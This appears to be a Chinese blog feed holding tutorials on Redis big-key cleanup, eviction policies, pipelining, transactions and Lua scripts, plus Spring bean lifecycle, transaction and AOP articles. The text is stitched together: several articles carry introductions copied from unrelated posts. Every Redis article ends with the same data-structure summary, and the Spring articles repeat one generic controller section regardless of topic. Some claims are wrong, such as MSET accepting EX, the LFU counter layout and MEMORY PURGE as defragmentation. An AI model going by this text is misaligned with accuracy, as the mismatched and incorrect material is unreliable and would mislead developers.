            redis.opsForHash().scan(key, options);
        
        List<Object> fieldsToDelete = new ArrayList<>();
        while (cursor.hasNext()) {
            fieldsToDelete.add(cursor.next().getKey());
            
            if (fieldsToDelete.size() >= batchSize) {
                redis.opsForHash().delete(key, fieldsToDelete.toArray());
                fieldsToDelete.clear();
                
                // 短暂休眠，避免阻塞
                try {
                    Thread.sleep(10);
                } catch (InterruptedException e) {
                    Thread.currentThread().interrupt();
                    return;
                }
            }
        }
        
        // 删除剩余的
        if (!fieldsToDelete.isEmpty()) {
            redis.opsForHash().delete(key, fieldsToDelete.toArray());
        }
        
        // 最后删除空key
        redis.delete(key);
    }
    
    // 渐进删除List
    public void progressiveDeleteList(String key, int batchSize) {
        while (true) {
            Long len = redis.opsForList().size(key);
            if (len == null || len == 0) break;
            
            // 使用LTRIM批量删除
            redis.opsForList().trim(key, batchSize, -1);
            
            try {
                Thread.sleep(10);
            } catch (InterruptedException e) {
                Thread.currentThread().interrupt();
                return;
            }
        }
        
        redis.delete(key);
    }
}

六、监控和告警

#

6.1 大Key监控

#!/bin/bash
# monitor_bigkeys.sh

THRESHOLD=1048576  # 1MB

# 获取大Key列表
redis-cli --bigkeys | grep "Biggest" | while read line; do
    echo "$line"
    # 发送告警
    echo "$line" | mail -s "Redis BigKey Alert" admin@company.com
done

#

6.2 内存不均衡监控（Cluster）

# 检查各节点内存使用
for node in node1 node2 node3; do
    mem=$(redis-cli -h $node INFO memory | grep used_memory: | cut -d: -f2)
    echo "$node: $mem bytes"
done

# 计算最大差异

七、总结

阶段工具/方法说明
识别redis-cli –bigkeys在线扫描，找最大key
识别MEMORY USAGE精确查看单个key大小
识别rdbtools离线分析RDB文件
分析DEBUG OBJECT查看编码和长度
治理拆分大Hash/List/Set分片
治理渐进删除HSCAN+HDEL, LTRIM
治理UNLINKRedis 4.0+ 异步删除

大Key治理的核心原则：

  1. 预防为主：设计时避免单key过大
  2. 定期扫描：发现大Key及时处理
  3. 渐进处理：避免阻塞Redis
  4. 合理拆分：按业务维度分片
  5. 监控告警：及时发现新产生的大Key

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Bean 生命周期按步骤理解 //bean-sheng-ming-zhou-qi-an-bu-zou-li-jie/ Bean 生命周期按步骤理解

Spring Bean 的生命周期一直是面试和日常开发中绕不开的话题。很多人知道有几个回调方法，但对执行顺序和实际应用场景并不清楚。本文按初始化到销毁的顺序，把关键节点梳理清楚，结合实际代码说明每个阶段的作用。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 构造器注入是 Spring 4.3+ 推荐的方式，能保证依赖在对象创建时就被注入

  2. @PostConstruct 和 InitializingBean.afterPropertiesSet() 的执行顺序很关键

  3. Aware 接口让 Bean 能够感知容器的上下文信息

  4. 销毁阶段的回调同样有两种方式：@PreDestroy 和 DisposableBean.destroy()

总结

理清 Bean 的生命周期，有助于理解 Spring 容器的工作机制，也能帮你在合适的时机执行初始化和清理逻辑。比如在 @PostConstruct 中建立数据库连接，在 @PreDestroy 中释放资源。

]]> Spring JAVA Spring Redis内存淘汰策略 //redis-memory-eviction-policy/ Redis内存淘汰策略

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、内存管理基础

#

1.1 查看内存使用

# 查看内存信息
redis-cli INFO memory

# 关键指标：
# used_memory: 总内存使用（字节）
# used_memory_rss: 操作系统视角的内存使用
# used_memory_peak: 内存使用峰值
# maxmemory: 最大内存限制
# maxmemory_policy: 淘汰策略

#

1.2 配置最大内存

# redis.conf
maxmemory 4gb           # 最大内存限制
maxmemory-policy allkeys-lru  # 淘汰策略

#

1.3 内存达到上限的行为

当 used_memory > maxmemory 时：

1. 如果配置了淘汰策略：按策略淘汰key
2. 如果没有配置淘汰策略（noeviction）：
   - 读操作正常执行
   - 写操作返回错误：OOM command not allowed

二、淘汰策略详解

#

2.1 策略分类

策略说明范围
noeviction不淘汰，返回错误所有
allkeys-lru淘汰最近最少使用的key所有key
allkeys-lfu淘汰使用频率最低的key所有key
allkeys-random随机淘汰key所有key
volatile-lru淘汰设置了过期时间的key中最近最少使用的有过期时间的
volatile-lfu淘汰设置了过期时间的key中使用频率最低的有过期时间的
volatile-random随机淘汰设置了过期时间的key有过期时间的
volatile-ttl淘汰快要过期的key有过期时间的

#

2.2 LRU策略

LRU（Least Recently Used）：最近最少使用

Redis的近似LRU实现：

传统LRU：需要维护一个链表，每次访问移动节点，O(1)
Redis近似LRU：
  - 每个对象记录最后访问时间（24bit，精度到分钟级别）
  - 随机采样N个key，淘汰其中最久未访问的
  - 采样数量由 maxmemory-samples 控制（默认5）

近似LRU vs 精确LRU：
- 内存占用更少（不需要维护链表）
- 性能更好（不需要移动节点）
- 精度接近（采样数越大越精确）

配置：

maxmemory-policy allkeys-lru
maxmemory-samples 5   # 采样数量（1-10，越大越精确但越慢）

#

2.3 LFU策略

LFU（Least Frequently Used）：最少使用频率

Redis 4.0+ 引入的LFU实现：

每个对象的LFU计数：
┌──────────────────┬──────────────────┐
│   16位计数器      │   8位衰减时间     │
│   (访问频率)      │   (分钟精度)      │
└──────────────────┴──────────────────┘

计数器增长逻辑：
- 每次访问时，计数器增加
- 增长概率随当前计数器值递减（值越大越难增长）
- 最大值为255

衰减逻辑：
- 每隔一定时间（衰减周期），计数器衰减
- 衰减周期 = lfu-decay-time（默认1分钟）
- 衰减量 = 当前计数器值 / 2

配置：

maxmemory-policy allkeys-lfu
lfu-log-factor 10     # 计数器增长因子（越大计数器增长越慢）
lfu-decay-time 1      # 衰减周期（分钟）

LFU vs LRU：

特性LRULFU
关注点最近访问时间访问频率
适合场景热点数据变化快有明确的热度差异
新数据容易淘汰需要时间积累计数
突发流量可能淘汰热点更稳定

#

2.4 TTL策略

volatile-ttl：优先淘汰即将过期的key

适用场景：
- 缓存数据都有过期时间
- 希望优先保留长久有效的数据
- 让快要过期的数据自然淘汰

注意：
- 只淘汰有过期时间的key
- 如果所有key都没有过期时间， behaves like noeviction

#

2.5 Random策略

allkeys-random / volatile-random：随机淘汰

适用场景：
- 所有key访问概率相同
- 对淘汰精度要求不高
- 追求极致性能（不需要计算LRU/LFU）

特点：
- 性能最好（不需要比较）
- 但可能淘汰热点数据

三、策略选择指南

#

3.1 选择决策树

是否需要淘汰数据？
    │
    ├── 否 → noeviction
    │
    └── 是
            │
            ├── 所有key都需要淘汰？
            │       │
            │       ├── 是 → allkeys-xxx
            │       └── 否 → volatile-xxx
            │
            ├── 数据有明显冷热差异？
            │       │
            │       ├── 是 → lru/lfu
            │       └── 否 → random/ttl
            │
            └── 热点变化快？
                    │
                    ├── 是 → lru
                    └── 否 → lfu

#

3.2 场景推荐

场景推荐策略原因
纯缓存allkeys-lru缓存所有数据，LRU最自然
持久化+缓存混合volatile-lru保护未设置过期的数据
有明显热点allkeys-lfu保留高频访问数据
数据均匀访问allkeys-random简单高效
缓存都有TTLvolatile-ttl让快过期的先淘汰
不允许丢数据noeviction内存满时返回错误

#

3.3 生产配置示例

# 场景1：纯缓存（电商商品）
maxmemory 16gb
maxmemory-policy allkeys-lru
maxmemory-samples 5

# 场景2：会话缓存（有明确过期时间）
maxmemory 4gb
maxmemory-policy volatile-lru

# 场景3：热点数据（排行榜、计数器）
maxmemory 8gb
maxmemory-policy allkeys-lfu
lfu-log-factor 10
lfu-decay-time 1

# 场景4：不允许淘汰（关键配置）
maxmemory 2gb
maxmemory-policy noeviction

四、内存优化

#

4.1 数据结构优化

# 1. 使用Hash存储对象（比String序列化省空间）
# String: {"name":"Alice","age":25}
# Hash: HSET user:1001 name Alice age 25

# 2. 控制Hash使用ziplist编码
hash-max-ziplist-entries 512
hash-max-ziplist-value 64

# 3. 控制Set使用intset编码
set-max-intset-entries 512

# 4. 控制ZSet使用ziplist编码
zset-max-ziplist-entries 128
zset-max-ziplist-value 64

#

4.2 数据压缩

# 开启RDB压缩
rdbcompression yes

# 开启AOF的RDB前缀（Redis 4.0+）
aof-use-rdb-preamble yes

#

4.3 监控内存使用

# 查看内存使用详情
redis-cli --bigkeys

# 查看内存碎片
redis-cli INFO memory | grep mem_fragmentation_ratio

# 内存碎片率 > 1.5 说明碎片严重，可以考虑重启

#

4.4 内存分析工具

# redis-rdb-tools: 分析RDB文件内存使用
rdb -c memory dump.rdb > memory.csv

# 查看哪些key占用最多内存
sort -t, -k4 -nr memory.csv | head -20

五、常见问题

#

5.1 内存突增导致OOM

# 现象：used_memory突然达到maxmemory，写操作失败

# 排查：
redis-cli INFO memory
# 查看 used_memory 和 maxmemory

# 解决：
# 1. 临时增加maxmemory
redis-cli CONFIG SET maxmemory 8gb

# 2. 检查是否有大key
redis-cli --bigkeys

# 3. 检查是否有内存泄漏
redis-cli INFO stats | grep evicted_keys

#

5.2 淘汰策略不生效

# 检查配置
redis-cli CONFIG GET maxmemory*

# 常见原因：
# 1. 没有设置maxmemory
# 2. 设置了noeviction策略
# 3. volatile策略但key没有过期时间

# 查看淘汰统计
redis-cli INFO stats | grep evicted

#

5.3 内存碎片率高

# 查看碎片率
redis-cli INFO memory | grep mem_fragmentation_ratio

# 如果 > 1.5，说明碎片严重
# 解决：
# 1. 重启Redis（最彻底）
# 2. 使用jemalloc（默认）比glibc malloc碎片少
# 3. Redis 4.0+ 可以使用内存整理
redis-cli MEMORY PURGE

六、总结

策略淘汰范围算法复杂度适用场景
allkeys-lru所有keyO(N)采样通用缓存
allkeys-lfu所有keyO(N)采样热点数据
allkeys-random所有keyO(1)均匀访问
volatile-lru有过期时间的O(N)采样混合存储
volatile-lfu有过期时间的O(N)采样热点+过期
volatile-ttl有过期时间的O(N)排序TTL优化
volatile-random有过期时间的O(1)简单场景
noeviction不淘汰-不允许丢数据

内存管理的核心原则：

  1. 设置合理的maxmemory：不超过物理内存的75%
  2. 选择合适的淘汰策略：根据业务特点选择LRU/LFU/Random
  3. 监控内存使用：及时发现内存异常
  4. 优化数据结构：使用ziplist等紧凑编码
  5. 定期分析大key：避免单个key占用过多内存

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Spring 事务失效的常见原因 //spring-shi-wu-shi-xiao-de-chang-jian-yuan-yin/ Spring 事务失效的常见原因

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. 事务失效的常见原因：非 public 方法、自调用、异常被吞掉、错误的传播级别

  2. 事务传播级别决定了方法之间的事务关系，REQUIRED 是默认值

  3. 使用 @Transactional(rollbackFor = Exception.class) 确保异常回滚

  4. 编程式事务在某些场景下比声明式事务更灵活

总结

事务管理是保证数据一致性的关键。理解事务的工作机制和常见陷阱，能帮你写出更健壮的代码。在实际项目中，合理配置事务边界非常重要。

]]> Spring JAVA Spring Redis管道Pipeline与批量操作 //redis-pipeline-batch-operations/ Redis管道Pipeline与批量操作

Redis 的五种数据结构各有特色，用对了才能发挥它的优势。很多人只用到了 String 和 Hash，却不知道 List、Set、ZSet 在特定场景下更合适。本文从应用场景出发，讲什么时候用什么类型。

一、为什么需要批量操作

#

1.1 网络往返的开销

单独执行1000个GET命令：

客户端          网络           Redis
  │──GET 1──>   1ms    ──>    │
  │<─结果1──    1ms    <──    │
  │──GET 2──>   1ms    ──>    │
  │<─结果2──    1ms    <──    │
  ...
  │──GET 1000─> 1ms    ──>    │
  │<─结果1000   1ms    <──    │

总时间 = 1000 × 2ms = 2000ms

#

1.2 批量操作的优势

使用Pipeline执行1000个GET：

客户端          网络           Redis
  │──GET 1──>   1ms    ──>    │
  │──GET 2──>                 │
  │──GET 3──>                 │
  │   ...                     │
  │──GET 1000                 │
  │             1ms    <──    │
  │<─结果1─2─3...1000         │

总时间 ≈ 2ms + 处理时间

二、原生批量命令

#

2.1 MGET/MSET

# 批量获取
MGET key1 key2 key3 key4 key5

# 批量设置
MSET key1 value1 key2 value2 key3 value3

# 批量设置并指定过期时间（Redis 2.6.12+）
MSET key1 value1 key2 value2 EX 60

Java使用：

@Autowired
private StringRedisTemplate redis;

// MGET
List<String> values = redis.opsForValue().multiGet(Arrays.asList("key1", "key2", "key3"));

// MSET
Map<String, String> map = new HashMap<>();
map.put("key1", "value1");
map.put("key2", "value2");
redis.opsForValue().multiSet(map);

限制：

  • 只能操作String类型
  • 所有key需要在同一slot（Cluster模式下）

#

2.2 HMGET/HMSET/HGETALL

# Hash批量操作
HMSET user:1001 name "Alice" age 25 city "Beijing"
HMGET user:1001 name age city
HGETALL user:1001

#

2.3 LPUSH/RPUSH（批量）

# List批量插入
LPUSH mylist value1 value2 value3 value4 value5

#

2.4 SADD/ZADD（批量）

# Set批量添加
SADD myset member1 member2 member3

# ZSet批量添加
ZADD myzset 1 member1 2 member2 3 member3

#

2.5 DEL/UNLINK（批量）

# 批量删除
DEL key1 key2 key3 key4 key5

# 异步删除（不阻塞，Redis 4.0+）
UNLINK key1 key2 key3

三、Pipeline管道

#

3.1 Pipeline原理

普通模式：            Pipeline模式：

请求1 ──>            请求1 ──>
<── 响应1            请求2 ──>
请求2 ──>            请求3 ──>
<── 响应2            ...
请求3 ──>            <── 响应1,2,3...
<── 响应3

Pipeline不保证原子性，只是将多个命令打包发送，减少网络往返。

#

3.2 Pipeline使用

@Service
public class PipelineService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 批量写入
    public void batchSet(Map<String, String> data) {
        redis.executePipelined((RedisCallback<Object>) connection -> {
            data.forEach((key, value) -> {
                connection.stringCommands().set(
                    key.getBytes(), value.getBytes()
                );
            });
            return null;
        });
    }
    
    // 批量读取
    public List<String> batchGet(List<String> keys) {
        List<Object> results = redis.executePipelined((RedisCallback<Object>) connection -> {
            keys.forEach(key -> {
                connection.stringCommands().get(key.getBytes());
            });
            return null;
        });
        
        return results.stream()
            .map(obj -> obj != null ? new String((byte[]) obj) : null)
            .collect(Collectors.toList());
    }
    
    // 批量Hash操作
    public void batchHashSet(Map<String, Map<String, String>> data) {
        redis.executePipelined((RedisCallback<Object>) connection -> {
            data.forEach((key, fields) -> {
                Map<byte[], byte[]> byteFields = new HashMap<>();
                fields.forEach((field, value) -> {
                    byteFields.put(field.getBytes(), value.getBytes());
                });
                connection.hashCommands().hMSet(key.getBytes(), byteFields);
            });
            return null;
        });
    }
}

#

3.3 Pipeline + 批量命令结合

// 最优方案：Pipeline内使用批量命令
public void optimalBatchSet(List<Map<String, String>> dataList) {
    redis.executePipelined((RedisCallback<Object>) connection -> {
        for (Map<String, String> data : dataList) {
            // 每100个key一批
            List<String> keys = new ArrayList<>(data.keySet());
            for (int i = 0; i < keys.size(); i += 100) {
                List<String> batch = keys.subList(i, Math.min(i + 100, keys.size()));
                Map<byte[], byte[]> byteData = new HashMap<>();
                batch.forEach(key -> {
                    byteData.put(key.getBytes(), data.get(key).getBytes());
                });
                connection.stringCommands().mSet(byteData);
            }
        }
        return null;
    });
}

#

3.4 注意事项

// 1. Pipeline不保证原子性
// 如果中间某个命令失败，其他命令仍会执行

// 2. Pipeline会占用连接
// 大量命令会占用连接较长时间

// 3. 建议分批使用Pipeline
public void batchWithChunks(List<String> keys, int chunkSize) {
    for (int i = 0; i < keys.size(); i += chunkSize) {
        List<String> chunk = keys.subList(i, Math.min(i + chunkSize, keys.size()));
        
        List<Object> results = redis.executePipelined((RedisCallback<Object>) connection -> {
            chunk.forEach(key -> connection.stringCommands().get(key.getBytes()));
            return null;
        });
        
        // 处理本批次结果
        processResults(results);
    }
}

// 4. Pipeline在Cluster下的限制
// 命令需要发送到同一节点
// 可以使用Hash Tag让相关key在同一slot

四、Lua脚本批量操作

#

4.1 原子性批量操作

-- 批量删除匹配模式的key
local pattern = KEYS[1]
local cursor = "0"
local count = 0

repeat
    local result = redis.call('scan', cursor, 'match', pattern, 'count', 100)
    cursor = result[1]
    local keys = result[2]
    
    for i = 1, #keys do
        redis.call('del', keys[i])
        count = count + 1
    end
until cursor == "0"

return count
@Service
public class LuaBatchService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final String BATCH_DELETE_SCRIPT = 
        "local pattern = KEYS[1] " +
        "local cursor = '0' " +
        "local count = 0 " +
        "repeat " +
        "    local result = redis.call('scan', cursor, 'match', pattern, 'count', 100) " +
        "    cursor = result[1] " +
        "    local keys = result[2] " +
        "    for i = 1, #keys do " +
        "        redis.call('del', keys[i]) " +
        "        count = count + 1 " +
        "    end " +
        "until cursor == '0' " +
        "return count";
    
    public Long batchDeleteByPattern(String pattern) {
        DefaultRedisScript<Long> script = new DefaultRedisScript<>(BATCH_DELETE_SCRIPT, Long.class);
        return redis.execute(script, Collections.singletonList(pattern));
    }
}

五、性能对比

#

5.1 测试场景

场景：写入10000个key

方案1：循环单条写入
for (i = 0; i < 10000; i++) {
    redis.set("key" + i, "value" + i);
}
耗时：约 20秒（假设RTT=1ms）

方案2：MSET（每100个一批）
for (i = 0; i < 100; i++) {
    Map<String, String> batch = ...;
    redis.mset(batch);  // 每批100个
}
耗时：约 200ms

方案3：Pipeline
redis.executePipelined(callback -> {
    for (i = 0; i < 10000; i++) {
        connection.set(("key" + i).getBytes(), ("value" + i).getBytes());
    }
});
耗时：约 100ms

方案4：Pipeline + MSET
redis.executePipelined(callback -> {
    for (i = 0; i < 100; i++) {
        // 每100个用MSET
        callback.mSet(batchData);
    }
});
耗时：约 50ms

#

5.2 性能对比表

方案10000次写入特点
单条循环~20秒最慢，大量网络往返
MSET(100一批)~200ms好，但有批量限制
Pipeline~100ms很好，减少网络往返
Pipeline+MSET~50ms最好，结合两种优势

六、生产实践

#

6.1 批量导入数据

@Service
public class DataImportService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    private static final int BATCH_SIZE = 500;
    private static final int PIPELINE_SIZE = 1000;
    
    public void importData(List<User> users) {
        // 分批使用Pipeline导入
        for (int i = 0; i < users.size(); i += PIPELINE_SIZE) {
            List<User> batch = users.subList(i, Math.min(i + PIPELINE_SIZE, users.size()));
            
            redis.executePipelined((RedisCallback<Object>) connection -> {
                batch.forEach(user -> {
                    String key = "user:" + user.getId();
                    String value = JSON.toJSONString(user);
                    connection.stringCommands().set(
                        key.getBytes(),
                        value.getBytes(),
                        Expiration.from(3600, TimeUnit.SECONDS),
                        RedisStringCommands.SetOption.UPSERT
                    );
                });
                return null;
            });
            
            // 每批完成后短暂休息，避免Redis压力过大
            if (i + PIPELINE_SIZE < users.size()) {
                try {
                    Thread.sleep(10);
                } catch (InterruptedException e) {
                    Thread.currentThread().interrupt();
                }
            }
        }
    }
}

#

6.2 批量读取优化

@Service
public class BatchReadService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    public Map<Long, User> getUsers(List<Long> userIds) {
        Map<Long, User> result = new HashMap<>();
        List<Long> missingIds = new ArrayList<>();
        
        // 分批Pipeline读取
        for (int i = 0; i < userIds.size(); i += 500) {
            List<Long> batch = userIds.subList(i, Math.min(i + 500, userIds.size()));
            List<String> keys = batch.stream()
                .map(id -> "user:" + id)
                .collect(Collectors.toList());
            
            List<String> values = redis.opsForValue().multiGet(keys);
            
            for (int j = 0; j < batch.size(); j++) {
                String value = values.get(j);
                if (value != null) {
                    result.put(batch.get(j), JSON.parseObject(value, User.class));
                } else {
                    missingIds.add(batch.get(j));
                }
            }
        }
        
        // 从数据库补充未命中的数据
        if (!missingIds.isEmpty()) {
            List<User> dbUsers = userMapper.findByIds(missingIds);
            dbUsers.forEach(user -> {
                result.put(user.getId(), user);
                redis.opsForValue().set("user:" + user.getId(), 
                    JSON.toJSONString(user), 3600, TimeUnit.SECONDS);
            });
        }
        
        return result;
    }
}

#

6.3 批量删除过期数据

@Service
public class DataCleanupService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 使用SCAN + Pipeline批量删除
    public void cleanupExpiredData(String pattern) {
        ScanOptions options = ScanOptions.scanOptions()
            .match(pattern)
            .count(100)
            .build();
        
        Cursor<byte[]> cursor = redis.executeWithStickyConnection(
            connection -> connection.scan(options)
        );
        
        List<byte[]> keysToDelete = new ArrayList<>();
        
        while (cursor.hasNext()) {
            keysToDelete.add(cursor.next());
            
            // 每100个删除一次
            if (keysToDelete.size() >= 100) {
                deleteBatch(keysToDelete);
                keysToDelete.clear();
            }
        }
        
        // 删除剩余的
        if (!keysToDelete.isEmpty()) {
            deleteBatch(keysToDelete);
        }
    }
    
    private void deleteBatch(List<byte[]> keys) {
        redis.executePipelined((RedisCallback<Object>) connection -> {
            keys.forEach(key -> connection.keyCommands().del(key));
            return null;
        });
    }
}

七、总结

批量方式原子性适用场景性能
MGET/MSET是String批量读写好
HMGET/HMSET是Hash批量读写好
Pipeline否大量命令批量执行很好
Lua脚本是需要原子性的复杂操作好

批量操作的核心原则：

  1. 减少网络往返：使用Pipeline或批量命令
  2. 控制批次大小：避免单批次过大导致阻塞
  3. 结合使用：Pipeline内使用批量命令效果更佳
  4. 注意原子性需求：需要原子性时用Lua脚本
  5. Cluster注意：确保key在同一slot或使用Hash Tag

核心要点

  1. String：简单的键值对，适合缓存、计数器

  2. Hash：存储对象属性，适合用户信息、配置

  3. List：有序列表，适合消息队列、最新列表

  4. Set：无序去重，适合共同好友、抽奖

  5. ZSet：有序集合，适合排行榜、积分系统

总结

选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。

]]> Redis Redis 缓存 Spring AOP 的原理和常见应用 //spring-aop-de-yuan-li-he-chang-jian-ying-yong/ Spring AOP 的原理和常见应用

AOP 是 Spring 的核心功能之一，但真正用起来容易踩坑。很多人知道 @Aspect 注解，却不清楚代理模式的区别、切面的执行顺序、以及自调用失效的问题。本文从配置到常见问题，把实际项目中的处理思路整理出来。

先搭一个最小接口

以 Spring Boot 为例，一个接口最好保持分层清楚：

@RestController
@RequestMapping("/users")
public class UserController {
    private final UserService userService;

    public UserController(UserService userService) {
        this.userService = userService;
    }

    @GetMapping("/{id}")
    public UserDTO detail(@PathVariable Long id) {
        return userService.detail(id);
    }
}

Controller 只负责接收请求和返回结果，业务逻辑放到 Service。这样代码更容易测试，也更容易维护。

配置和验证

如果涉及环境配置，建议拆分：

spring:
  profiles:
    active: dev

server:
  port: 8080

生产环境启动时不要手工改文件，可以通过参数指定：

java -jar app.jar --spring.profiles.active=prod

接口写完后，用 curl 验证：

curl http://localhost:8080/users/1

常见坑

  • 事务方法必须通过 Spring 代理调用，类内部直接调用可能导致事务不生效。
  • Controller 不要返回 Entity，避免数据库字段直接暴露。
  • 参数校验和异常处理最好统一做，不要散落在每个接口里。

核心要点

  1. JDK 动态代理和 CGLIB 代理的区别：前者基于接口，后者基于类

  2. 切面的优先级由 @Order 注解控制，数字越小优先级越高

  3. 自调用问题的原因是内部方法调用不会经过代理对象

  4. 使用 ProxyUtils 或暴露 AopContext 可以解决自调用问题

总结

AOP 是实现横切关注点的利器，但需要理解其底层机制才能用好。在实际项目中，日志、事务、权限校验都是 AOP 的典型应用场景。

]]> Spring JAVA Spring Redis事务与Lua脚本 //redis-transaction-lua-script/ Redis事务与Lua脚本

Spring 事务用起来简单，但失效场景非常多。很多人遇到过 @Transactional 不生效的情况，却不知道原因。本文把日常开发中常见的坑和对应的排查思路整理出来，帮你避免踩坑。

一、Redis事务

#

1.1 事务基础

Redis事务通过MULTI、EXEC、WATCH等命令实现：

MULTI           # 开启事务
SET key1 value1
SET key2 value2
INCR counter
EXEC            # 执行事务

#

1.2 事务命令

命令作用
MULTI开启事务，后续命令进入队列
EXEC执行事务队列中的所有命令
DISCARD取消事务，清空队列
WATCH监视一个或多个key，如果被修改则事务失败
UNWATCH取消对所有key的监视

#

1.3 事务示例

# 无WATCH的简单事务
MULTI
SET balance:1001 1000
SET balance:1002 2000
EXEC

# 带WATCH的乐观锁事务
WATCH balance:1001 balance:1002
MULTI
DECRBY balance:1001 100
INCRBY balance:1002 100
EXEC
# 如果执行期间balance:1001或balance:1002被修改，EXEC返回nil

#

1.4 Java中使用事务

@Service
public class TransactionService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    public void transfer(String from, String to, int amount) {
        redis.execute(new SessionCallback<Object>() {
            @Override
            public Object execute(RedisOperations operations) throws DataAccessException {
                // WATCH监控key
                operations.watch(Arrays.asList(from, to));
                
                // 获取余额
                int fromBalance = Integer.parseInt((String) operations.opsForValue().get(from));
                
                if (fromBalance < amount) {
                    operations.unwatch();
                    throw new RuntimeException("余额不足");
                }
                
                // 开启事务
                operations.multi();
                operations.opsForValue().decrement(from, amount);
                operations.opsForValue().increment(to, amount);
                
                // 执行事务
                List<Object> results = operations.exec();
                
                // 如果results为null，说明WATCH的key被修改，事务失败
                if (results == null) {
                    throw new RuntimeException("转账失败，请重试");
                }
                
                return results;
            }
        });
    }
}

#

1.5 Redis事务的特点

优点：

  • 命令批量执行，减少网络往返
  • WATCH提供乐观锁机制

局限性：

  1. 不支持回滚：如果事务中某条命令执行失败，其他命令仍会执行
  2. 没有隔离级别概念：事务中的命令不会阻塞其他客户端
  3. 不支持条件判断：不能根据查询结果决定后续操作
# 事务中命令失败的例子
MULTI
SET key1 value1
LPUSH key1 value2    # 错误！key1是String，不能LPUSH
SET key2 value2
EXEC

# 结果：
# key1 = value1（SET成功）
# LPUSH报错但继续执行
# key2 = value2（SET成功）

二、Lua脚本

#

2.1 为什么需要Lua

Redis事务的局限性促使我们使用Lua脚本：

  • Lua脚本可以包含逻辑判断
  • Lua脚本在Redis中原子执行
  • 可以减少网络往返

#

2.2 执行Lua脚本

# 方式一：直接执行
EVAL "return redis.call('set', KEYS[1], ARGV[1])" 1 mykey myvalue

# 方式二：先加载再执行（推荐，减少带宽）
SCRIPT LOAD "return redis.call('set', KEYS[1], ARGV[1])"
# 返回SHA1: a5b0d4e1...
EVALSHA a5b0d4e1... 1 mykey myvalue

#

2.3 Lua脚本基础语法

-- 调用Redis命令
redis.call('set', 'key', 'value')

-- 获取命令结果
local value = redis.call('get', 'key')

-- 条件判断
local balance = redis.call('get', 'balance')
if tonumber(balance) >= 100 then
    redis.call('decrby', 'balance', 100)
    return 1
else
    return 0
end

-- 循环
for i = 1, 10 do
    redis.call('lpush', 'list', i)
end

#

2.4 Lua脚本实现原子操作

# 安全扣减库存
EVAL "
local stock = redis.call('get', KEYS[1])
if stock == false then
    return -1  -- 库存不存在
end
if tonumber(stock) <= 0 then
    return 0   -- 库存不足
end
redis.call('decr', KEYS[1])
return 1       -- 扣减成功
" 1 stock:1001

#

2.5 Java中使用Lua脚本

@Service
public class LuaScriptService {
    
    @Autowired
    private StringRedisTemplate redis;
    
    // 扣减库存脚本
    private static final String DECREASE_STOCK_SCRIPT = 
        "local stock = redis.call('get', KEYS[1]) " +
        "if stock == false then return -1 end " +
        "if tonumber(stock) <= 0 then return 0 end " +
        "redis.call('decr', KEYS[1]) " +
        "return 1";
    
    private DefaultRedisScript<Long> decreaseStockScript;
    
    @PostConstruct
    public void init() {
        decreaseStockScript = new DefaultRedisScript<>();
        decreaseStockScript.setScriptText(DECREASE_STOCK_SCRIPT);
        decreaseStockScript.setResultType(Long.class);
    }
    
    public boolean decreaseStock(Long productId) {
        String key = "stock:" + productId;
        Long result = redis.execute(decreaseStockScript, Collections.singletonList(key));
        
        if (result == null || result == -1) {
            throw new RuntimeException("库存不存在");
        }
        if (result == 0) {
            return false;  // 库存不足
        }
        return true;  // 扣减成功
    }
}

#

2.6 复杂Lua脚本示例

